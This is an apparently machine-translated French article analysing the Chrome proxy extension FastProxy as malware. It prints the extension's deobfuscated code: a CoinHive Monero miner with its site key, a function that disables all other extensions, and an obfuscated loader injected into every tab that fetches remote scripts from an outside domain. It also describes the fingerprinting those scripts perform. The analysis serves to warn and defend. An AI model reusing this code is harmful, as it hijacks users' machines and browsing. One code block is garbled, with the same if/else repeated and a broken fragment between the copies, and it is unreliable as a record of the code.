"Virus" dans les extensions utilisant FastProxy comme exemple

Dans cet article, je montrerai à quel point les extensions dans Chrome peuvent être dangereuses et comment
Les extensions Firefox sont plus sûres.


Il s'agit d'étendre FastProxy.
Ne le mettez en aucun cas à l'état pur en chrome.


Pour obtenir son code source, vous devez d'abord installer une autre visionneuse de source d' extension Chrome extension .


Après cela, ouvrez la page .


L'icône CRX deviendra jaune - cliquez dessus et sélectionnez "télécharger au format zip".


Passons maintenant à l'analyse du code.


1. Manifest (manifest.json) - le noyau de toute extension


Les restrictions d'extension sont définies par CSP (stratégie de sécurité du contenu) et les autorisations:


"content_security_policy": "script-src 'self' 'unsafe-eval' https://ssl.google-analytics.com ; object-src 'self'",
"permissions": ["proxy", "tabs", "webRequest", "webRequestBlocking", "management", "\ u003Call_urls>", "storage"],,

Le CSP devrait immédiatement alerter, il permet une évaluation non sécurisée (plus à ce sujet ici ).
C'est-à-dire exécuter du code à partir de n'importe quelle chaîne passée.


  • management autorisation de management vous permet de gérer d'autres extensions.
  • L'autorisation webRequestBlocking permet de substituer absolument toutes les requêtes passant par le navigateur.
  • L'autorisation \u003Call_urls> est identique à <all_urls> - elle vous permet d'agir sur n'importe quel site.

En savoir plus sur les autorisations ici .


C'est-à-dire basée sur un seul fichier manifeste, l'extension a déjà un énorme niveau d'accès à tout.


Les fichiers de code clé sont répertoriés dans


"arrière-plan": {
"scripts": ["lib.js", "jquery.min.js", "background.js", "ga.js"]
},

Ils sont exécutés dans l'ordre dans le tableau immédiatement après l'installation de l'extension ou immédiatement après le lancement du navigateur.




2. Analyse des fichiers de processus d'arrière-plan


Le code est minimisé et confus. Pour démêler, nous utiliserons le site http://jsbeautifier.org/ avec les paramètres par défaut.


  • J'ai comparé le fichier jquery.min.js avec le code jquery 2.2.4 d'origine - ils correspondent.
  • Le fichier ga.js est simplement du code Google Analytics.
  • Le fichier lib.js est CryptoJS.
  • Le code principal est concentré dans background.js.

Pour faciliter la lecture du code, je l'ai réécrit un peu (fonctions renommées, virgules changées en blocs séparés, etc.).
Vous pouvez également utiliser la version firefox de la même extension pour comprendre la partie non centrale du code.
L'utilisation de proxy dans Firefox et Chrome est fondamentalement différente.


Pour télécharger la version Firefox de l'extension, vous devez ouvrir le lien dans Firefox.
Copiez le lien vers "Ajouter à Firefox" et ouvrez-le en chrome.
Ouvrir en tant qu'archive zip.


Le code réécrit se trouve sur ce lien .




3. Analyse de background.js


Tout d'abord, vous devez comprendre que le $.ajax exécuté sur le fichier de script intègre ce script dans la page (dans ce cas, pas dans la page, mais dans le processus d'arrière-plan).


Gardé par la ligne


 localStorage.C = JSON.stringify( [ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==" ] ); 

Ils nous disent déjà que la question n'est pas nette.


Ajoutez console.log après CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config") et CryptoJS.AES.decrypt( JSON.parse(localStorage.P)[pc], "record") , interdisant l'exécution de l'ajax lui-même.


Dans le même temps, dans la ligne JSON.parse( localStorage.C)[cc] (et similaire pour l'enregistrement) cc, nous passons de 0 à 1 (ci-après à 2, lorsque nous voyons des tableaux de 3 éléments).


Nous obtenons les liens:
pour config this


http://proxyrus.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (1)
http://proxy-fast.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (2)

pour enregistrer ceci


http://proxyrus.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (3)
http://proxy-fast.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (4)

De plus, les liens ne fournissent des données que lorsque vous utilisez uid et version avec les deux paramètres, et uniquement via $ .ajax ou fetch. Voir simplement l'ouverture via le navigateur ne fonctionne pas - apparemment, il y a des vérifications pour les en-têtes entrants.


Passons maintenant à ce que ces ajax donnent. Si vous souhaitez les lire vous-même, il est préférable d'utiliser simplement fetch dans un autre projet (vous devrez installer des extensions qui déverrouillent CORS dans le navigateur).


config_proxyrus.ru.js


Ainsi, le premier lien nous donne un script qui sera automatiquement intégré dans le processus d'arrière-plan, car 'unsafe-eval' est présent, mais il n'y a aucune restriction de lien dans CSP.


Il convient de noter la ligne


 function antiZapret (tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined' && changeInfo.status == 'complete') { chrome.tabs.executeScript(tabId,{code: "if (document.body.innerText.indexOf(': ') != -1) document.body.innerHTML = '<center style=\"margin-top: 50px; font-size:20px;\">   .<br><br>  .</center>'",runAt:"document_start"}); } 

Nous conduisons dans la recherche de "anti-interdiction fastproxy" et ouvrons le 4ème résultat de recherche , la rubrique "Attention".
Il s'avère que FastProxy n'utilise pas ses propres serveurs proxy.


config_proxy-fast.ru.js


Le deuxième lien donne un code similaire au premier, mais le script est déjà différent!


 function closeWindow () { const time = 500; //    setInterval(function() { //     chrome.tabs.getSelected(null, function (details) { //     id -  if (details.id == -1) window.close(); }) }, time); } closeWindow(); 

Habituellement, tous les onglets ont un identifiant. Une exception est la fenêtre de l'onglet de la console du navigateur. C'est-à-dire c'est une protection contre l'espionnage à travers la console.


Ce fichier contient également de nouvelles URL, décryptez-les à l'aide de CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8) et CryptoJS.AES.decrypt( value, "record").toString(CryptoJS.enc.Utf8) .
Les 2 premiers liens sont les mêmes que les précédents. Mais le troisième est différent:


http://fastproxy.ga/proxy/config/config.txt

Pour «enregistrer», les 3 liens sont nouveaux.


http://proxyrus.ru/proxy/config/data_ru.txt
http://proxy-fast.ru/proxy/config/data_ru.txt
http://fastproxy.ga/proxy/config/data_ru.txt

config_fastproxy.ga.js


En fait, pas différent de config_proxy-fast.ru.js


Retour à config_proxyrus.ru.js


Le code contient également la fermeture de la console. Ensuite, le plaisir commence.


String


 var ext_id = chrome.app.getDetails().id; 

obtient l'identifiant de l'extension, et ceci est une fonctionnalité non documentée.
La documentation actuelle utilise une méthode différente
Vient ensuite la fourchette:


 if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); //    } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); } ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); //    } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); } XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0 ="]); if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); //    } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); } 

Les trois mêmes liens si ext_id ne tombe pas dans la liste d'extensions souhaitée.
Et un nouveau lien, s'il tombe dans la liste des extensions + redémarrage complet de l'extension.


Si quelqu'un peut trouver quelles étaient ces extensions, écrivez dans les commentaires. Il n'y a aucune correspondance avec l'ID actuel de FastProxy. La recherche dans la boutique Google ne donne rien à leurs identifiants.


Explication des liens


 localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); 

donne


http://prowebdom.ru/update/test/proxy/config/config_ru.js
http://prowebdom.ru/update/test/proxy/config/data_ru.pac
qui peut être ouvert directement dans le navigateur.

config_prowebdom.ru.js


Fermer à nouveau la console. Et puis le plus intéressant.


 var coin = $.get("https://coinhive.com/lib/coinhive.min.js"); coin.done(() => { var miner = new CoinHive.User('aUvlRg4eSsDf6wcFmMZPjQ57JDUUR3IR', 'FPR', {autoThreads: true}); miner.start(); }) 

^ Lancement du mineur Monero. Au fait, souvenez-vous du portefeuille, si vous voyez quelque chose de similaire dans le code, ce sont les mêmes personnes.


 function removeAdBlockExtensions () { window.chrome.management.getAll((extensions) => { extensions.forEach((e) => { if (e.enabled && e.id != window.chrome.runtime.id) { window.chrome.management.setEnabled(e.id, false); } }); }); } removeAdBlockExtensions(); 

Ce code désactive toutes les extensions sauf lui-même.
S'il n'y avait pas d'autorisation de la direction, ce ne serait pas possible.


Suivant


 chrome.tabs.onUpdated.addListener(onUpdatedListenerSearch); 

et


 function onUpdatedListenerSearch(tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined') { var ext_id = chrome.app.getDetails().id; if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') { if (tab.url.indexOf('google') == -1) { //             chrome.tabs.executeScript(tabId, {code:"!function(){var b={a3759370402:'30022',a1072190280:'{subid}',a2302729239:JSON.parse('[\"7a72793462736f702e7275\",\"746b636d36686a762e7275\"]')},c=function(h,j,k){for(var l=[].slice.call(k),m=h.split('.'),p=m.pop(),q=0;q<m.length;q++)j=j[m[q]];return j[p].apply(j,l)},d=function(h){if(!(h=h.match(/.{1,2}/g)))return'';for(var j='',k=0;k<h.length;k++)j+=c('fromCharCode',String,[parseInt(h[k],16)]);return j},f=function(h,j,k){if('undefined'==typeof a2690641770||!a2690641770(document.location.protocol+'//'+h))if(document.head){var l=document.createElement('script');l.setAttribute('src',document.location.protocol+'//'+h),l.setAttribute('type','text/javascript'),document.head.appendChild(l),l.onload=function(){this.a982392846||(this.a982392846=!0,'function'==typeof j&&j())},l.onerror=function(){this.a982392846||(this.a982392846=!0,l.parentNode.removeChild(l),'function'==typeof k&&k())}}else setTimeout(function(){f(h,j,k)},10)},g=function(h){if(!(0>=b.a3759370402||0>b.a1072190280)){var j=h||b.a2302729239[0],k=d(j)+'/'+['d6s','afu','ndj','enk','6af'].join('')+'/'+b.a3759370402+'_'+b.a1072190280+'.js';f(k,function(){},function(){var l=b.a2302729239.indexOf(j),m=b.a2302729239[l+1];m&&g(m)})}};b.a3759370402=parseInt(b.a3759370402)||0,b.a1072190280=parseInt(b.a1072190280)||0,g()}();/* k */", runAt: 'document_end'}, callback); } } } } 

tabs.onUpdated démarre un rappel lors de la mise à jour d'une des étapes de chargement d'un onglet vers un autre. Plus de détails ici.
Autrement dit, cela affecte chaque onglet.


 if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') 

Sauf FastProxy lui-même. Apparemment, il y avait une série de plusieurs extensions qui fonctionnaient comme des virus.


 if (tab.url.indexOf('google') == -1) { 

Toutes les URL sauf celles contenant la chaîne google. Apparemment parce que les onglets avec Google sont temporaires. La vraie raison n'est pas claire pour moi.


Et le pire, c'est qu'un script est implémenté dans chaque onglet après le chargement complet de la page dans cet onglet:


script1.js


Exécutez-le dans l'embellisseur JS.


script2.js


Les jeux de personnages peuvent être omis grâce à console.log.
La chose la plus dangereuse commence là où la balise de script est créée.
var l = document.createElement ('script');


Ce qui m'intéresse principalement, c'est son innerHTML ou src.


 l.setAttribute('src', document.location.protocol + '//' + h) 

La partie gauche est claire - le protocole de la page actuelle. La bonne partie est le lien réel. Mettez console.log là


Nous obtenons


zry4bsop.ru/d6safundjenk6af/30022_0.js

script3.js


De même, exécutez à travers l'embellisseur JS


script4.js


Le principe du fichier est le même - la partie la plus dangereuse est l'ajout d'un script.


 var e = document.createElement("script"); e.setAttribute("src", document.location.protocol + "//" + t); 

Nous obtenons


zry4bsop.ru/d6safundjenk6af/30022_0/c_646576656c6f7065722e6d6f7a696c6c612e6f7267_0.js
si exécuté sur MDN

Sur productforums.google.com la même chose


zry4bsop.ru/d6safundjenk6af/30022_0/c_70726f64756374666f72756d732e676f6f676c652e636f6d_0.js

Il s'avère que le côté droit est attaché à quelque chose


Nous regardons le code


 document.location.hostname ? document.location.hostname : document.location.toString().split("/")[2] 

mentionné dans la fonction auto-invoquante f
alors f est mentionné dans


 var n = o(i[t]) + "/" + ["d6s", "afu", "ndj", "enk", "6af"].join('') + "/" + a + "/c_" + f + "_" + c + ".js"; 

C'est-à-dire grâce à des opérations symboliques, l'URL visitée est transmise au script.
Nous regardons le code du script lui-même, ils correspondent.


script5.js


Exécutez-le à nouveau à travers l'embellisseur JS.


script6.js


Sans réécrire le code, vous pouvez envisager d'ajouter des nœuds, de créer des scripts, de remplacer les cookies,
création d'éléments à partir de zéro, ajax. Mais il est assez difficile de comprendre ce qui se passe réellement.
Essayez donc de renommer ces fonctions numérotées.


script7.js


Il a été difficile de démêler ce fichier. Le plus difficile est de passer par la création constante d'objets qui créent des objets qui créent des objets ... Il était également difficile de trouver des fonctions pures pour commencer à démêler l'enchevêtrement.


Je n'ai pas réussi à démêler complètement le code. Mais ce qui se déroule donne ce qui suit:


Assemblage d'une empreinte digitale complète sur un utilisateur, qui est ensuite convertie en une chaîne unique via une série d'opérations binaires.
Cette impression comprend:


  • Useragent
  • Informations sur les plugins installés (en particulier pour IE). La ligne Palemoon mérite particulièrement d'être mentionnée ici. Le fait est que Palemoon vous permet d'utiliser Java.
  • Informations sur le processeur utilisé
  • Informations sur les polices installées (fonction getFontData). De plus, le code offre la possibilité d'utiliser une liste étendue de polices, en plus de celle du système. Mais seul le système est utilisé
  • Impression sur toile unique (fonction get2dCanvasFingerprint). Étant donné qu'il utilise plusieurs caractères non standard, il y a une vérification de la présence de langues installées dans le système.
  • Empreinte digitale unique par webgl (fonction getWebglFingerprint)
  • Vérification de la fausseté des données fournies par le navigateur (fonction hasFalseBrowser). Surtout à cet égard, l'utilisation de eval.toString () est intéressante pour comprendre quel type de navigateur est réellement utilisé. Je ne l'aurais jamais deviné.

Il existe une fonction qui exécute XMLHttpRequest. Mais il n'est pas utilisé dans le code et ne démarre pas au démarrage du script.


Il existe une fonction qui intègre un flash sur la page, mais en fait, elle n'est pas utilisée.


Jetez un œil aux codes de collecte d'empreintes digitales canvas / webgl.


Il y a incorporation d'un iframe sur la page (méthode appendBadIframe1).
Voyons maintenant ce qu'il y a dans cet iframe.


iframe1


Parcourez l'embellisseur JS.


iframe2


Selon le code, il s'agit d'un échangeur d'informations avec le script principal. Si le script principal concerne la plupart des opérations sur les bits, une trame électronique est exécutée dans les propriétés calculées des objets. En utilisant window.postMessage, ils échangent des messages entre eux.


Retour à script7.js


L'exécution du fichier crée 6 requêtes XHR (et par la création d'Img), et lorsque vous cliquez sur la page, une nouvelle fenêtre s'ouvre.
Des liens décryptés pour les demandes peuvent être trouvés dans le code.


Retour à l'extension


Retour à l'extension et enregistrez les liens. Ces liens sont utilisés en tant que fichier .pac pour la méthode chrome.proxy.settings.set .
Les codes de fichiers peuvent être trouvés ici:


https://github.com/lawlietmester/fastproxy_article/blob/master/pac_fastproxy.ga.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_prowebdom.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxy-fast.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxyrus.ru.js

L'essence générale des fichiers est de raccrocher les domaines via des proxy bloqués et ip via un proxy, et sur d'autres DIRECT, c'est-à-dire accès sans proxy.
L'ensemble des serveurs et l'ensemble des domaines / ip bloqués diffèrent.
Voyons quels serveurs, outre Auto-Lock (antizapret.prostovpn.org), utilisent FastProxy.
Nous conduisons postls.com dans la recherche. Ouvrez le premier lien.


Pour bloquer l'extension Browsec, vous devrez créer une règle VPM qui bloquera l'URL de destination IP / nom d'hôte
Browsec.com
postlm.com
postls.com

C'est-à-dire FastProxy utilise des serveurs Anti-Ban et Browsec sans ses propres serveurs.




4. À propos du potentiel d'expansion


En utilisant l'autorisation webrequest + webrequestBlocking, vous pouvez modifier absolument n'importe quelle demande, y compris les demandes internes à l'intérieur du chrome lui-même.
C'est-à-dire vous pouvez changer complètement les pages HTML, vous pouvez supprimer les en-têtes qui interfèrent dans les requêtes, y compris la CSP (content security policy) du site.
En utilisant votre proxy, vous pouvez fusionner tout le trafic utilisateur qui passe par votre proxy.




5. À propos de la politique des extensions Google et Mozilla


La politique de Google est beaucoup plus douce que la politique de Mozilla, ils publient presque tout.
Mozilla a des exigences strictes: unsafe-eval est interdit, l'obscurcissement de code est interdit (autorisé si vous fournissez un collecteur complet).
Mozilla examine également périodiquement les codes d'extension, mais pas immédiatement après leur publication.
Plus de détails peuvent être lus ici et ici .
Pour cette raison, l'installation de nouvelles extensions Firefox est beaucoup plus calme que les extensions Chrome.




6. Quoi de neuf dans le code:


le navigateur fournit une quantité irréaliste de données uniques sur le navigateur par rapport à ce qu'elle était dans le passé. Et très probablement, donnera encore plus à l'avenir.


eval.toString, ainsi que d'autres fonctions natives, vous permettront de calculer la version réelle du navigateur.


Impression unique sur toile et webgl.




7. Questions aux lecteurs


Si quelqu'un a travaillé avec webgl, dites-nous ce que fait la fonction getWebglFingerprint. Et qu'est-ce qui s'avère unique là-bas?




Toutes les sources peuvent être trouvées ici.

Source: https://habr.com/ru/post/fr421735/


All Articles